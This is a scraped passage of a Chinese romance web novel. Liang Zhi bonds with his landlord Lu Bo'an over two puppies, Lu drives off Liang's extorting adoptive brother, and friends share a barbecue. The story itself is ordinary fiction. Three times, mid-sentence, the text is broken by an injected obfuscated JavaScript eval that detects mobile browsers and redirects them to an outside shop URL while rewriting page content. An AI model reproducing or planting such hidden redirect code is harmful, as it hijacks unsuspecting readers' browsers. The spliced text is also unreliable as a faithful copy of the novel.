他盯着屏幕看了几秒,慢吞吞地敲了个「好」字发过去,却没打算照做,反正昨天医生开了药。只是这般偷懒的后果,便是两天后他的烧依旧没退全。 而因着大福和毛豆这两只小狗,他和陆柏安的聊天频率直线飙升,从一开始只聊狗狗的吃喝拉撒,到后来偶尔也会扯些无关紧要的闲话。 陆柏安领养大福毛豆的第三天晚上,梁知刚洗完澡出来便发现放在外面充电的手机正在响,他擦着湿发走过去,拿起手机一看,果然是陆柏安,还是个视频通话。 点了接通后,屏幕里跳出来的不是陆柏安的脸,而是大福,那家伙四脚朝天躺在地上,眼睛睁得圆溜溜的,身子却僵着一动不动。 梁知凑近屏幕,微微蹙眉:“它怎么了?” 话音刚落,躺在地上的大福耳朵动了动,一听见他的声音,立马跟装了弹簧似的弹起来,尾巴摇得跟拨浪鼓似的,扒着手机屏幕哼哼唧唧。 梁知悬着的心瞬间落地。 这时陆柏安的脸出现在屏幕一角:“它刚学会的新技能,装死。跟你表演一下。” “嗯,装得很像。” 两人又闲聊了几句才挂电话,梁知刚把手机搁在桌上,一转头,陈信正坐在床头,脸色毫无生气,一双眼睛却亮得吓人,直勾勾地盯着他。 他刚一看过来,对方便像是突然回过神,脸上毫无征兆地扬起个笑。 “知知,你在跟谁打电话啊?” 梁知转身重新擦起半干的头发:“陆老板。” “陆老板……”陈信慢悠悠地重复了一遍,“你们最近的关系很好啊。” 梁知没出声。 “知知喜欢他吗?” 梁知擦头发的动作猛地一顿,眼神微凉:“陈信,你知道自己在说什么吗?” 陈信脸上的笑倏地敛了,他抿了抿唇:“知知对不起,我不该乱说。是因为我太喜欢你了,看到你和别的男人走得近我就容易胡思乱想,控制不住自己。” 梁知的眉峰几不可查地蹙了一下。 “该睡觉了。” 灭了灯,房间瞬间陷入一片黑暗。他躺到床沿,侧着身体。 “知知。”陈信的声音从身侧传来,很轻,带着点小心翼翼,“这周末,可以带我出去散下步吗?” 陈信很少会提这样的要求,因为害怕自己坐在轮椅上的模样会招来旁人异样的目光。 梁知沉默了几秒,终是轻声嗯了一声。 “知知。”陈信又唤了他一声,“晚安。” 梁知没应声,只是闭紧了眼睛。黑暗将他裹得密不透风,脑子里猝不及防掠过些零碎的画面。 小臂隆起的麦色肌肉线条,眉骨若隐若现的浅疤,带着薄茧的粗粝指节…… 这些碎片没头没脑地闯入,在脑海里闪了闪,转瞬便没了踪迹。困意像潮水般漫上来,他就这么,缓缓睡着了。 第二天中午,快餐店正是客流高峰,喧嚣的人声混着饭菜的香气弥漫在空气里。 梁知端着刚出锅的餐盘从后厨出来,刚把餐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184930|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘放到餐架上,一个粗犷的声音传来:“这饭菜多少钱一份?” “十……”五字还没说出口,梁知微微一顿,他抬头看向面前的不速之客,眼底漫上一层冷意。 “大哥。” 陈迅吊儿郎当地站在他面前,胳膊搭在餐架边缘,“梁知,原来你在这儿工作啊,可让大哥一顿好找。” 梁知侧过身,压低声音:“你来这儿干什么?” “这不是你这两天电话不接,消息不回的,我实在没法子才找到这儿来的嘛。说吧,那五万块你到底给不给?” “我说了没钱。” “没钱?”陈迅嗤笑一声,干脆往旁边的椅背上一靠,“你天天上班还能没钱?我不管,今天你不给钱,我就坐这儿不走了。给我来份快餐。” 来者是客,梁知沉默了几秒,给他盛了份饭。 没想到陈迅真的赖着不走,从十一点半到下午一点半,店里的客人来了又走,喧闹渐渐归于沉寂,他还坐在原地,甚至跷着腿抽起了烟,呛人的烟味飘得到处都是。 梁知神色一沉,脱下围裙,大步走过去拽着陈迅的胳膊半拖半拉地往店外走。 陈迅被他扯得一个趔趄,踉跄着跟在后面:“你干什么!放开我!梁知你个白眼狼,忘恩负义的东西!” 两人拉扯着跌跌撞撞地进了店后的小巷。巷子狭窄逼仄,两侧的墙壁斑驳发黑,角落里堆着几个废弃的纸箱,风一吹,扬起一阵呛人的灰尘。 梁知猛地松开手,后退一步:“我说了,我没有钱。你要是再闹,我就直接报警。” “报警?”陈迅像是听到了什么笑话,他上前一步,手指几乎要戳到梁知的脸,“你报啊!有本事你现在就报!要是没我爸妈没我,你现在死在哪旮旯里都不知道!从小到大吃我家的住我家的,最后还把我弟害成那样,找你要五万块钱都没有,你还好意思报警?你良心被狗吃了?” 梁知神色微微一动,攥紧的拳头青筋凸起。 “我没有害他,是他自己……” “自己什么?”陈迅冷笑一声打断他的话,“梁知,我告诉你,陈信变成现在这副鬼样子,全都是因为你!你欠我们陈家的,这辈子都还不清!” 梁知猛地闭上眼,再睁眼时,眼底翻涌的情绪尽数褪去,只剩一片清明:“没钱。” 说着他转身就要走,手腕却被陈迅猛地攥住,“你要去哪?” 肌肤相触的瞬间,两人神色齐齐剧变。梁知眼底顿时凝起寒霜,而陈迅那双浑浊的眼睛黏腻腻地在他身上逡巡,像毒蛇吐着信子。 陈迅突然换了副嘴脸,语气软下来:“知知,刚才是大哥话说重了。但这五万块是真的急用,佳乐这病拖不得,我实在是没办法……” 话音未落,一只骨节分明的大手突然横空出现,死死攥住陈迅的手腕。那力道大得惊人,仿佛要将他的骨头捏碎,疼得陈迅龇牙咧嘴。 他回头望去,只见一个身材高大的男人不知何时站在身后,脸色阴沉得如同暴雨将至。 “你他妈……”陈迅的骂声刚起了个头,对方的拳头已经带着风砸了过来。 又快又狠的一拳结结实实落在他脸上,陈迅像个破麻袋似的摔在地上,鼻血瞬间喷涌而出,糊了满脸满身。他捂着脸嗷嗷惨叫,还没来得及爬起来,对方蹲下身一把揪起他的衣领,又是几拳落下,每一拳都砸在要害。 梁知怔了几秒,才上前拉住对方的胳膊:“陆老板,别打了。” 陆柏安这才停手,居高临下地睨着地上的人:“滚。再让我看见你骚扰他,下次直接打断你的腿。” 陈迅吓得浑身筛糠,连滚带爬地从地上爬起来,捂着脸,连头都不敢回,跌跌撞撞地逃出了巷子。 巷子里终于安静下来。 “陆老板怎么会在这?” 陆柏安松了松手指:“刚才看见你们往这边来,气氛不对,就跟过来了。” 梁知垂了垂眼帘,声音轻了些:“谢谢。” 又欠了陆柏安一个人情。 他又抬起头:“刚才我们说的话,你听到了吗?” 陆柏安摇头,语气坦然:“没有。” 事实确实如此,他隔着一段距离,什么也听不见,只能看到那个男人拽着梁知的手腕,脸贴得极近,嘴里不干不净地喷着唾沫星子,一副咄咄逼人的嘴脸。 “那是谁?”陆柏安问,目光落在梁知泛红的手腕上,眉峰几不可查地蹙了一下。 “……养兄。” “你哥?” 原来除了那个病秧子和老夫妻,梁知还有别的家人。 他突然想起什么似的:“我没记错的话,我之前去他家里修过热水器。” “这么巧?”梁知的声音听不出情绪。 陆柏安想起那天的场景,眉峰微蹙:“我去修的时候,他正和他老婆在大吵大闹。” “正常。”梁知垂着眼,踢了踢脚下的石子,“他们经常这样。” 陆柏安侧头看他,阳光落在他纤长的睫毛上,投下一小片阴影。他沉默了几秒,还是问:“你们为什么吵架?” “……一些家里琐事。” 梁知不愿多提,陆柏安也没再追问,两人一起走出巷子。 “对了,”分别的瞬间,陆柏安突然开口,“给大福和毛豆买了个狗窝,还没来得及安装,你下班了可以过来看看,顺便帮忙搭把手。” “好。” 回到快餐店,林小满正站在门口探头探脑,看见他进来,立刻迎上来:“小梁,我刚才听大姐说你跟一个看着就很凶的客人吵架了,没事吧?没吃亏吧?” 梁知摇摇头:“没事,那人我认识,就是一点小矛盾,已经解决了。” “没事就好没事就好。”林小满拍了拍胸脯,“下次再有这种事记得跟我说啊。” “好。” “对了,我已经把你送的那只小狗给我女朋友看了,她喜欢得不行。” “是吗?” “嗯!我还给它开了个短视频账号呢,”林小满说着兴冲冲地掏出手机,点开短视频软件,“准备用来专门记录它的日常,说不定哪天就火了,我也能当个小有名气的宠物博主。” 他点进一个名叫【肉包成长日记】的主页,置顶的视频是360度拍小狗崽的睡颜。 “现在才十个粉丝,全是亲戚朋友,小梁你也关注我一下呗,帮我涨涨人气。” 梁知应了一声,掏出自己的手机,打开软件,熟练地切换到一个从不发内容、只用来刷视频的小号,点开搜索栏。 “诶?怎么没看到你关注啊?”林小满扒拉着自己的屏幕,眉头皱了一下,随即拍了下脑门,“哦,是没刷新。” 他手指按住屏幕往下一拉,页面刷新的小圆圈转了两圈,关注列表最顶上果然跳出一个新账号。 梁知的目光顺着他的屏幕看过去,视线无意间往下一扫,落在关注列表里的一个用户名上时,眼神微微一顿。 那是一个系统自动生成的用户名,一串毫无规律的数字,连头像都是默认的灰色图案。 “这是?” 林小满顺着他手指的方向看过去,目光落在那串名为【用户886886】的账号上,随口道:“这个啊,是老陆。” 23. 23 “你喜欢梁知。” 陆柏安刚灌进嘴里的可乐差点喷出来:“你说什么?” 纹身店的小厨房飘着煎蛋的香气,施泽捏着锅铲,十分淡定地把煎得金黄的鸡蛋翻了个面,他头也没抬,又重复了一遍:“你喜欢梁知。” “你乱说什么?” 施泽把煎好的鸡蛋盛进白瓷盘里,又撕开一根火腿肠丢进热油里,“上次你找我借摩托,还有让我们养狗,还有……” “行了别说了。”陆柏安把多买的羊奶粉往施泽面前的案板上一丢,沉默好一会儿才转回头,“你这煎个蛋和火腿肠,怎么摆成这模样?” 此刻施泽正低着头把烤得焦香的火腿肠和那两个圆滚滚的煎蛋拼在一起,凑出个100的造型。 “南职明天要考试。” “职高考试跟你有什么……上回来找你那个小孩?” “嗯。” “一直没问,”陆柏安压低声音,“你俩什么关系?” 施泽没说话,只是往火腿肠上撒了点孜然。 陆柏安想起第一次见到那小孩时对方嘴里蹦出的那几句惊世骇俗的话,他顿了顿,才继续道:“你是同性恋?” 施泽扫了他一眼,慢悠悠地反问:“你不也是?” “我什么时候……” 施泽似笑非笑地瞥了他一眼,捏着瓶胡椒粉往煎蛋上轻轻抖了两下。 “那小孩满18了吗?你比人大那么多,这不是老牛吃嫩草吗?” “你可以走了。” 陆柏安被推出门外,他啧了一声,拎着剩下的羊奶粉往铁三星的店里去,送完羊奶粉才慢悠悠回到自己的铺子。 领养的第二天他就给大福洗过澡,虽然还是一股土里土气的憨厚劲儿,但好歹干净了不少。这狗不爱到处乱跑,平时要么蹲在铺子门口晒太阳,要么就跑到隔壁的快餐店或花店黏在梁知脚边打转。 陆柏安现下远远没看见铺子外有它的身影,原本还以为大福又跑去找梁知了,没想到一进门就看见一人一狗蹲在铺子角落。 梁知半蹲在地上,一只手肘抵在曲起的膝盖上,掌心虚虚拢着膝盖,另一只手抬在半空,正一下下轻轻摸着狗头。 听见声响,一人一狗同时抬起头看过来。 大美人,小土狗。 陆柏安微微一愣,扫了眼墙上的挂钟,指针精准地卡在六点半,正是梁知的下班时间。中午他跟人提过,让对方下班过来看看狗窝。 “来了?”他应了一声,抬脚走向墙角。 那里堆着松木板材、不锈钢合页、螺丝包,还有一块印着小熊图案的防水帆布,先前他只把狗窝的底板和两块侧板用螺丝固定好,算是个勉强立住的半成品。 他弯腰把剩下的后挡板和顶板拖出来,又摸出电动螺丝刀和卷尺,身后却静悄悄的,半点动静都没有。 陆柏安回头,就见梁知还蹲在原地,脸上没什么表情,目光正落在那堆零件上,瞳仁里映着屋外斜斜溜进来的细碎阳光,像一颗琥珀色的玻璃珠。 “不来看看?” 梁知听到他的声音,这才起身,走过来跟着蹲下身。 “我有什么能帮上忙的?” “你帮我扶着这块板,对齐卡槽,”陆柏安把一块打磨光滑的松木板递过去,指尖点了点侧板边缘的标记线,“看到这道铅笔印没?对齐了,别歪。” 梁知一声不吭地接过来,掌心贴着木板,卡在卡槽边缘稳稳扶住。 陆柏安扫过他的手,手指修长,骨节分明,腕骨细得像是轻轻一折就能断。 他移开目光,按下电动螺丝刀的开关,螺丝旋着圈钻进预先打好的孔位。 嗡嗡的声响盖过了周遭的动静,窝在桌下纸箱里的毛豆被吵醒,细声细气地哼唧了两声。大福立刻跑过去轻轻拱了拱纸箱壁。 陆柏安抽空瞥了一眼,嘴角勾了勾:“这家伙眼睛还没睁开呢,倒挺能吃。” 梁知也看过去,毛豆闭着眼睛,鼻子嗅来嗅去,正循着大福身上的气味,笨拙地往它怀里钻。 他说:“网上说,小狗一般十到十四天睁眼。” “那快了。”陆柏安应着,手里的活没停。 要把那块印着小熊的帆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184931|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布钉在顶板上当遮阳棚,得有人帮忙扯着边角才好固定。陆柏安腾不开手,头也不抬地喊了声:“帮我扯着点帆布。” 身边没什么响动,陆柏安有些奇怪,转过头去,呼吸瞬间一滞。那双琥珀色的眼睛近在咫尺,瞳仁里清晰地映着他的影子,他的鼻尖离梁知的脸只有不到两厘米,再近一点,怕是就要撞上对方的鼻尖。他这才惊觉不知什么时候,两人竟凑得这么近。 周遭的空气仿佛被抽干了,电动螺丝刀的嗡鸣不知何时停了,小铺子里静得可怕,只剩下两人之间清浅的呼吸声交织在一起。 两人的距离远远超过了安全距离,梁知却没往后退,甚至微微侧了侧头,薄唇轻启,喊了他一声:“陆老板。” “……嗯?”陆柏安下意识应了一声,喉咙有点发紧。 “陆柏安。”梁知又重复了一遍,这次喊的是他的全名。 上次梁知发烧时也喊过一次陆柏安全名,但那时对方生着病他没太注意。此刻他才发觉,梁知叫他名字时,那个“安”字,要比寻常人拖得要长一些。 空气里弥漫着细碎的木屑味道,两人挨得实在太近,近到陆柏安一低头,就能数清梁知睫毛的数量。根根纤长分明,随着呼吸轻轻颤动,像振翅欲飞的蝴蝶…… “口水要流出来了。” 冷不丁的一句话,陆柏安心头一跳,螺丝刀差点没拿稳,下意识抬手去摸唇角,指尖触到的却是一片干爽。 他愣了愣,抬头看向梁知,只见对方神色平静,视线越过他淡淡解释:“我说毛豆。” 陆柏安顺着他的目光看过去,果然见毛豆正扒着大福的爪子,粉嫩嫩的舌尖吐出来半截,一副要流哈喇子的模样。 他又转回头看向梁知,对方已经伸出手掌按紧帆布一角,神色十分正经,看不出半点开玩笑的架势。 陆柏安恼人地在心里骂了自己一句,螺丝刀再次转动起来,嗡嗡的声响里,梁知又叫了他一声:“陆柏安。” 陆柏安还陷在刚才的尴尬里,手上的动作没停,随口应了一声:“嗯?” “你喜欢男人吗?” 24. 24 问题来得实在太过突然,陆柏安一个没留神,手指猝不及防蹭过木茬上翘起的尖刺。指腹瞬间被划开一道细细的口子,可他像是浑然不觉疼似的,眼神还僵在半空。 梁知眉峰微微一蹙:“流血了。” 陆柏安低头瞥了眼手指,压根没当回事,干修理活,磕磕碰碰是家常便饭,这点小伤用不了多久就结痂了。他随手扯过一张纸巾,潦草地擦了擦指尖的血渍。 突然,一片阴影落了下来。 他抬眼,撞进梁知那双清冽的眸子里。对方的手伸在他面前,指尖捏着一枚创可贴,包装纸已经撕开一角。 “梅姐给的。”刚开始在花店干活儿那会,剪裁时也伤过手,她便塞了几个给他。 见陆柏安半天没动,梁知干脆自己动手,把创可贴完全撕开,两手各捏着一端,微微俯身递过来。 陆柏安这才像是终于反应过来,把那根受伤的手指伸了过去。 指尖贴上创可贴柔软的棉垫时,他的目光落在梁知低垂的眼睫上,喉结轻轻滚了滚,半晌才憋出一句话,声音低得像蚊子哼:“不喜欢。” 梁知正替他抚平创可贴的边缘,闻言动作微顿,抬眸看他,尾音轻扬,带着点疑惑:“嗯?” “不喜欢男人。”陆柏安的视线有些飘忽,声音又低了些,像是在说给自己听。 梁知没说话,他又硬邦邦地补充了一句:“也不喜欢女人。” 从小到大,他就没什么“喜欢”的人,讨厌的人倒是能数出一箩筐。比如在他这儿修东西总是赊账的街溜子,比如他家隔壁老是把臭鞋摆门外的老头,还有……他的目光落在梁知脸上,忽然大脑一顿。 梁知点点头,什么也没说,只是把创可贴的边缘按得更服帖了些后淡淡叮嘱:“不要沾水。” 又来。 家里还藏了个男人,还总对别的男人这么上心。 算了。 “你问这个做什么?”难道他脸上看起来像写着“喜欢男人”几个字吗? 梁知想了下,回答:“今天看到个新闻,有个男的给女主播打赏了快半年,砸进去不少钱。” 他顿了顿,抬眼瞥了下陆柏安,才慢悠悠续上后半句:“结果最后发现,那个主播其实是个男人。” 陆柏安脸上的表情瞬间变得精彩纷呈,沉默了好半天才终于憋出一句:“这新闻最近这么火?” 林小满不久前才在他耳边念叨过一遍,转头梁知又提一遍,不过他们俩说的版本有点不一样,林小满没提过主播性别的事。 梁知歪了一下头,陆柏安转回身,重新蹲到那堆木料前,手里的螺丝刀在指尖转了个利落的圈:“你别跟林小满凑太近,他那脑子里,净是些没营养的八卦。” 手上缠着创可贴却一点不影响动作,梁知蹲在一旁,目光落在他翻飞的指尖上,又慢慢移到他汗湿的鬓角,眼底情绪浅浅的,看不真切。 “嗯。”他轻轻应了一声,顿了顿,又补充了一句,“知道了。” 两人联手没一会儿,一个方正结实的狗窝就成型了,陆柏安拿了几件旧衣服,揉巴揉巴塞进窝里当垫子,梁知则从桌上拿起一根塑料狗骨头玩具轻轻放了进去,那是他前两天买的,花了十块钱。 大福没急着钻进新窝,见两人忙完,颠颠地跑过来,用毛茸茸的脑袋蹭着梁知的手背。梁知弯下腰,小心翼翼地把它抱起来,指尖顺着它蓬松的毛轻轻摩挲了两下,随后看了眼时间说自己要走了。 陆柏安跟着他走到门口,看着他掸了掸衣服上的狗毛,没头没脑地来了一句:“发烧还没好利索?” 梁知脚步一顿,抬眸看他。 “你的手很烫。”刚才给他贴创可贴的时候,他感受到了。 “快好了。”现在倒是不怎么影响上班和跑外卖了。 “那就是还没好。” “我会……”梁知看着他紧蹙的眉峰,轻声道,“吃药的。” 告别之后,梁知跑了几个外卖单子,回到家的第一件事便是如实按照自己刚才说的话,把药和温水递到嘴边喝了下去。 陈信坐在一旁担心地问他病还没有好吗。 梁知没接话,只是放下空杯说:“今天大哥来找过我了。” 陈信猛地一愣:“他来找你做什么?要钱?” “嗯。” “你给了吗?” “没有。”梁知指尖轻轻摩挲着杯壁,沉思了一下才继续说,“他说,佳乐生病了。” “没给就对了。”陈信声音提高了些,“大哥他肯定又是打牌输了钱,不要理他。” 梁知盯着他看了半晌,许久才道:“嗯。” 好些天没更新视频了,他翻出压箱底的黑裙子换上,病还没完全好,跟着音乐跳起来的动作软绵绵的。 他把视频剪好发布,又点开自己的账号反复看了好几遍,末了轻轻吐了口气,果然还是没天赋啊。 正看到第四遍,屏幕上突然弹出一条打赏通知。用户886886给他送了个蛋糕,还附带了一条私信,只有简单的三个字:「下班了?」 梁知顿了顿,点进对方的主页,依旧是一片空白。 他又切回自己的主页。戴了口罩和假发,身上的黑裙子和他平时穿的T恤牛仔裤判若两人,任谁看了,都不会把视频里的人和现实中的他联系在一起。 除了陆柏安。身为房东本人,对方不会认不出自己最近十几条的视频背景。 认出了,却没有戳穿,反而用一个匿名账号,给他打赏,给他发私信。 梁知握着手机的手指微微收紧,他坐在黑暗里沉默了很久,久到隔壁的陈信看见手机屏幕的亮光后问他怎么还不睡。 梁知一顿,迅速关掉手机屏幕。黑暗瞬间吞噬了他,他躺回床上,闭上眼睛,那条私信终究还是没有回复。 * “等一下进去,就按照计划行事,先跟梅姐闲聊几句,然后旁敲侧击问她对三星有没有意思……你魂飞哪儿去了?我跟你说话呢,听见没有?” 陆柏安抿紧唇,唇线绷成一道冷硬的弧度,没应声。 梁知已经三天没回复他的私信了,甚至连已读都没有。明明这期间,他还看到对方的账号更新了新作品。更不对劲的是,这几天他在微信上给梁知发消息说狗的事,对方也只是寥寥几句话。 “老陆!”林小满见他半天没反应,又使劲晃了晃他的胳膊,“想什么呢?等会儿进去你别杵着不说话,三星那人嘴笨得很,靠他自己想追到人根本不中,得全靠咱俩助攻呢。” 陆柏安被晃得回神,语气硬邦邦的:“知道了。” 两人刚走到花店门口,探头往里扫了一圈,没瞧见人影。林小满清了清嗓子,正准备扯着嗓子喊一嗓子,却突然听到花架后一阵窸窸窣窣的声响。 “你说什么时候找个机会,把这事跟他俩说清楚?总这么藏着掖着,怪别扭的。” “急什么?等过阵子稳定了再说,我还没决定好呢。” “你还没决定好呢?你都对我那样了。” “哪样了?” “就是那样啊。” “那样是哪样?” “那样啊……” “到底是哪样啊?”一个突兀的声音突然插了进来,铁三星和梅姐都是一愣 两人猛地回过头,便见林小满双手叉腰站在身后。 花店里的空气瞬间安静了半秒,连窗外的风声都听得一清二楚。 “说!你们俩什么时候的事?”这一嗓子,震得门口的风铃叮当作响。 铁三星的脸瞬间爆红,红得能滴出血来,他手忙脚乱地摆着手,舌头都打了结:“你、你什么时候站在那儿的?我、我们……” 梅姐又羞又窘,狠狠瞪了铁三星一眼,这才无奈地叹了口气:“就是……前几天的事。” “好哇,铁三星,你真不够兄弟的!”林小满恨铁不成钢地捶了他胳膊一下,“亏我和老陆还琢磨着怎么帮你助攻,你小子悄无声息就搞定了,还瞒着我们!” “哎呀,这不是,小梅不让我说嘛……” 陆柏安倒是没怎么意外,他看着林小满拉着铁三星追问细节的热闹样子,慢悠悠地踱到梅姐身边:“梁知今天没过来?” “小梁啊,”梅姐脸上的红晕还没消,“他今天调休,没来上班。” 另一边,澜溪第二小学对面的老槐树下。 放学铃刚响过不久,穿着蓝色校服的孩子们像一群叽叽喳喳的小麻雀涌着冲出校门。 梁知的目光在攒动的小身影里逡巡,没一会儿就看见那个瘦瘦小小的身影。陈佳乐背着个快比他半身高的书包,耷拉着脑袋慢吞吞地走在队伍最后。 梁知快步走过去,喊了声:“佳乐。” 陈佳乐猛地抬起头,露出一张蜡黄的小脸,看见他时,微微一怔,怯生生地喊了声:“小叔叔。” “平常都是自己回去吗?”梁知蹲下身,和他平视。 陈佳乐点点头。 “今天我送你。” 陈佳乐歪了歪头,似乎有些不理解,乌黑的眼珠转了转,小声问:“为什么?” “顺路。” 陈佳乐哦了一声,没有多问。他跟这个小叔叔不算太熟,但他觉得小叔叔人很好,从不跟爸爸一样骂人。 梁知坐上电动车,拍了拍后座的软垫:“上来。” 等了好半天身后都没动静,他回头一看,陈佳乐正踮着脚费力地想爬上车,小小的身子晃了晃差点摔倒。 梁知的目光落在他那两条细瘦的腿上:“摔了?” “没有。”陈佳乐摇摇头,又尝试着抬了抬腿,小脸憋得通红,额头上渗出了细密的汗珠。 “那为什么……”梁知看着他僵硬的动作,微微一顿。 “腿……最近突然变得很奇怪。”陈佳乐的声音细若蚊蚋,带着点委屈,“好像不听我指挥了。” 梁知看着他略微僵硬的腿,微微一愣,追问:“还有别的地方也这样吗?” “还有胳膊。”陈佳乐说着,抬手想比划一下,可胳膊只抬到一半就停住了,小脸瞬间垮了下来。 “……你生病了?” “小叔叔怎么知道的?爸爸妈妈带我去了医院,医生叔叔说了好多好多话,然后爸爸妈妈就吵架了……” 竟然是真的,陈迅竟然没说谎。梁知眼神微微一沉:“你知道自己生的什么病吗?” 陈佳乐茫然地摇头:“不知道。” 梁知握着车柄的手微微收紧,随即又松开。他下车绕到后面把陈佳乐抱起来放到后座上,又把他的书包摘下来挂在车把上。 电动车穿过熙熙攘攘的街道,一路骑到杂乱的城中村。低矮的居民楼挤挤挨挨,电线在空中扯得纵横交错,梁知把车停在其中一栋居民楼前,从口袋里摸出一颗草莓味的棒棒糖,剥开糖纸递过去。 “今天我来找你的事,不要跟爸爸妈妈说好吗?” 陈佳乐盯着那颗红彤彤的糖,咽了咽口水,飞快地接过来攥在手里,仰头看着他点了点头:“好。” 梁知回到百乐街时,刚把电动车停在楼下,想起家里的冰箱空空如也,便准备步行去菜市场买点菜,刚走出没几步,迎面撞见一行人。 陆柏安、林小满、铁三星、梅姐、梅小五、施泽,还有个染着黄毛的少年。 “小梁!正准备给你打电话呢。”林小满眼尖,一眼就瞅见他,“一起去吃烧烤啊,老铁请客,今儿管够,不去白不去!” 铁三星点头如捣蒜:“对,我请客,小梁一起吧,上次就没来。” 梅姐也笑着招手:“人多热闹。” 陆柏安走在最后,手里拎着一兜冰镇啤酒。他的目光原本漫不经心地扫着街道两旁的店铺,在撞上梁知的那一刻骤然顿住,脚步也下意识停了下来。 梁知的视线和他撞了个正着。夕阳的碎金淌进陆柏安的眼睛里,那双深色的瞳孔被晕染得浅淡许多。 两人隔着几步的距离对视了短短几秒,热浪吹乱了梁知额前的碎发,很快,他率先移开视线。 “不了,你们去吧。我还有事就不去了。” 说完,他便侧身,想从一行人绕过去。 从陆柏安身边擦肩而过的瞬间,手腕突然一紧。 陆柏安的掌心带着啤酒瓶渗出来的水汽,猝不及防地贴在他的手腕上,凉得他猛地一颤。 “为什么不去?” “……说了,有事。” “你最近在躲我?” 陆柏安这句话时,两人挨得极近,温热的气息拂过耳廓,带起一阵痒意,像羽毛轻轻搔刮着。梁知的耳尖不受控地漫开一层浅浅的薄红,他没接话,只是轻轻吐出一个字:“冰。” 陆柏安的手倏然松开,掌心残留的凉意却像是烙在了他的皮肤上,久久不散,他看着梁知微微泛红的耳尖,喉结动了动,没再说话。 梁知垂着眼,沉默几秒,转过身看向身后的一行人:“那我一起去,麻烦了。” “不麻烦不麻烦!”铁三星不知道两人说了什么才让梁知突然改变主意,但还是笑嘻嘻道,“人多才热闹,走了走了。” 一行人继续前行,梁知和陆柏安落在最后面,隔着半步的距离。 “没躲你。”梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184932|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知先开口。 陆柏安侧过头,视线掠过他的脸,顿了顿:“病好了?”刚才摸的时候,好像没有上次那么烫了。 “嗯,差不多了。” “大福咬坏了我的拖鞋。” “你在微信里说过了。” “毛豆昨天睡了十二个小时。” “你也说过了。” 陆柏安闭上嘴,一时没了声。两人并肩走着,前头的喧闹声隐隐传来,衬得后面有些安静。 梁知打破沉默:“为什么突然这么多人一起吃烧烤?” “庆祝铁三星和梅姐脱单。” 梁知一怔:“他们在一起了?” “嗯,前几天的事,我和林小满今天才知道。” 梁知回过神:“挺好的。” 王二烧烤摊支在街边的老槐树下,到了地方几人熟门熟路地往最里头那张长条桌坐,老板远远瞧见,扬着嗓子招呼:“老样子是吧?马上就好!” 没多久,烤串就端上来了。油光锃亮的羊肉串、五花肉串滋滋地冒着热气,暗红色的肉上撒满了金黄的芝麻和鲜红的辣椒粉,边缘烤得微微焦脆。 梁知和陆柏安并排坐着,他拿起一根羊肉串轻轻咬了一口。鲜嫩的肉汁瞬间在嘴里爆开,带着炭火的焦香和孜然的香气,烫得他下意识地微微眯眼。 炭火越烧越旺,橘红色的火苗舔着烤架,油脂滋滋地滴落在炭火上,腾起一阵阵带着香气的白烟。 陆柏安弯腰从塑料袋里拎出啤酒,依次分发给众人。 林小满看向对面的黄毛少年:“周清……”他顿了顿,手指在半空比划了两下,愣是想不起后面那个字。 施泽淡淡道:“周清然。” “对对对!周清然!”林小满一拍脑门,恍然大悟,“小然弟弟,你成年没有啊?能不能喝酒啊?” “成年了好吧。”周清然嘴一撅,胸脯挺得老高,抓起桌上的啤酒瓶就往嘴里灌,“爽!” 满桌人都笑出了声,林小满耸耸肩,瞥见梁知面前的啤酒一口没动,只是低头慢慢啃着烤馒头片。 “小梁你不喝啊?” 梁知抬眼,目光落在那瓶泛着冷气的啤酒上,沉默了几秒,轻轻摇了摇头。 “不能喝还是不会喝?” “没喝过。” 这话一出,满桌瞬间安静了一秒。铁三星手里的铁签啪的一声掉在桌上,他瞪大了眼睛,像是听到了什么不可思议的事:“你从小到大,一滴酒都没喝过?” 梁知对上众人诧异的目光,有些茫然地点了点头:“嗯。” 林小满一把将啤酒凑到他手边:“那你今天一定要试试,这啤酒不烈,跟喝甜饮料似的,保准你喜欢。” 梁知看着面前那瓶冰得结了一层水雾的啤酒,扫过满桌人期待的目光。他没有推脱,拿起开瓶器撬开瓶盖,啤酒沫“滋”地冒出来一点。他学着几人的样子,轻轻地抿了一口。 麦芽的苦涩混着淡淡的清爽在舌尖散开,和他想象中完全不一样。 “怎么样怎么样?”林小满凑过来追问,胳膊肘还撞了撞他的小臂。 梁知舔了舔唇角,舌尖上还留着点余味,如实道:“有点苦。” “哈哈哈有点苦就对……”铁三星大笑,话才说了一半,只听“砰”的一声轻响,笑声戛然而止。 众人循声看去,只见梁知背脊微微弓着,头靠在桌上,额头紧紧抵着桌面,一动不动。 